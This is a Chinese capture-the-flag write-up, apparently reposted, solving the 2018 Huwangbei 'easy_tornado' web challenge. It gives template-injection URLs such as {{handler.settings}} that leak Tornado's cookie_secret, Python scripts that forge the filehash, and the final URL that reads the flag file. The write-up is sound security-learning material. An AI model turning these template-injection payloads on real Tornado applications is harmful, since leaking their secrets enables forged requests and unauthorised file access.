[原題復現]2018護網杯(WEB)easy_tornado(模板注入)


簡介

原題復現:

 考察知識點:模板注入

 線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題

[護網杯 2018]easy_tornado

打開頁面發現三個鏈接依次打開  發現各自的文本

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

 

從上面三個信息我們的值flag在/fllllllllllllag文件 render這個卡住了看了WP 說render是模板注入,經過測試發現過濾了

payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{1*2}}

 

 

render是python中的一個渲染函數,也就是一種模板,通過調用的參數不同,生成不同的網頁 render配合Tornado使用

Tornado是一種 Web 服務器軟件的開源版本。Tornado 和現在的主流 Web 服務器框架(包括大多數 Python 的框架)有着明顯的區別:它是非阻塞式服務器,而且速度相當快。

 

然后就是這段代碼md5(cookie_secret+md5(filename))  我們根據之前打開文件的url參數分析這個就是filehash的值 想獲得flag只要我們在url中傳入/fllllllllllllag文件和filehash 經過這段代碼處理的值即可關鍵就在這cookie_secret這塊 我們得想辦法獲得cookie_secret 

在tornado模板中,存在一些可以訪問的快速對象,這里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,這里面就是我們的一些環境變量

通過模板注入方式我們可以構造

關於如何獲取cookie_secret是看WP的目前理解的有點混亂不清晰!!!!

payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}

 

成功拿到

 

根據獲得的cookie_secret構造md5(cookie_secret+md5(filename))這樣的py或者手動cmd5去加密

python3版本

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="0567b8eb-21bc-4c25-861f-481b36239643"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

 python2.7版本

#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
    md5 = hashlib.md5()
    md5.update(s)
    print(md5.hexdigest())
    return md5.hexdigest()
    
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '0567b8eb-21bc-4c25-861f-481b36239643'
    print(cookie_secret + md5(filename))
    print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
    filehash()

 

得到加密的結果

filename拼接我們的flag文件/fllllllllllllag將加密的結果拼接在filehash的后面得到最終payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=1491d6198e0f7d246a15e40bbf00ae43

獲得flag

 

 

 參考學習:

  https://blog.csdn.net/ljphilp/article/details/47103745

  https://www.cnblogs.com/chrysanthemum/p/11716903.html

  https://darkwing.moe/2019/10/30/護網杯2018-easy-tornado/

  SSTI完全學習:https://blog.csdn.net/zz_Caleb/article/details/96480967

        https://www.jianshu.com/p/aef2ae0498df

  https://www.cnblogs.com/20175211lyz/p/11425368.html

  

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM